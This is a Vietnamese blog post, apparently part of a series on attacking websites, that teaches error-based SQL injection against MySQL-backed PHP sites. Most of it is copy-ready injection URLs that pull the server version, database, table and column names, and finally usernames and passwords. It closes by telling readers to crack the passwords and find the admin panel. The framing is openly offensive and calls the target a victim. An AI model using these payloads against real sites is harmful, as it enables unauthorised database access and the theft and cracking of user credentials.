Trang

cách thức tấn công website P05 - Error based injection .


Bạn có thể sử dụng phương pháp này khi bạn nhận được thông báo lỗi như:

Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.

1. Get version,database

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Hoặc

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+


Chú ý: Nếu 2 query trên mà nhận được thông báo như sau


Nghĩa là victim sử dụng sql ver 4, vậy ta có querry như sau:

http://site.com/view_product.php?id=242 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+

Kết quả:


* Muốn biết có bao nhiêu database tất cả ta dùng query

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

ví dụ sau khi querry nó hiện như sau:


Như vậy chúng ta có thể xác định là có 1 database

- Tiếp theo chúng ta sẽ đi tìm tên của database:

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Ở đây các bạn cần chú ý: limit 0,1
Các bạn tăng dần nó lên cho đến khi đã khai thác hết tên database 
Ví dụ như ở trên ta biết có 2 database thì ta tăng dần: limit 0,1 limit 1,1 
Cứ như vậy query tiếp, nếu có nhiều database hơn thì tăng giá trị limit lên thôi: limit N,1

2. Khai thác tables
- Check xem có bao nhiêu tables

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Ở đây ta cần chú ý: hex-database-name chính là tên database dưới dạng mã hex (Cái này mình đã nói ở chap sqli căn bản, bạn nào không rõ thì đọc lại nhé)

- Check tên các tables

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

3. Get column

- Check xem có bao nhiêu column

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0xhex-tables-name 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

* chú ý: hex-tables-name là tên tables dưới dạng mã hex

- Check tên các column

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0xhex-tables-name 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

- Giả sử ta check được các column sau: id,username,password

http://www.site.com/artist.php?i=36' and+(select 1 from(select+count(*),concat((select+concat(username,0x3a,password) from tables-name+limit+0,1),floor(rand(0)*2))x from information_schema.tables+group by x)a) and 1=1--+

* Chú ý: tables-name là tên tables chứa các column mà ta đang khai thác, các bạn nhớ thay nhé @_@

Sau câu query trên chúng ta sẽ tìm được thứ ta muốn, công việc tiếp theo là crack pass và tìm link admin thôi.

Lazata

Phasellus facilisis convallis metus, ut imperdiet augue auctor nec. Duis at velit id augue lobortis porta. Sed varius, enim accumsan aliquam tincidunt, tortor urna vulputate quam, eget finibus urna est in augue.

Không có nhận xét nào:

Đăng nhận xét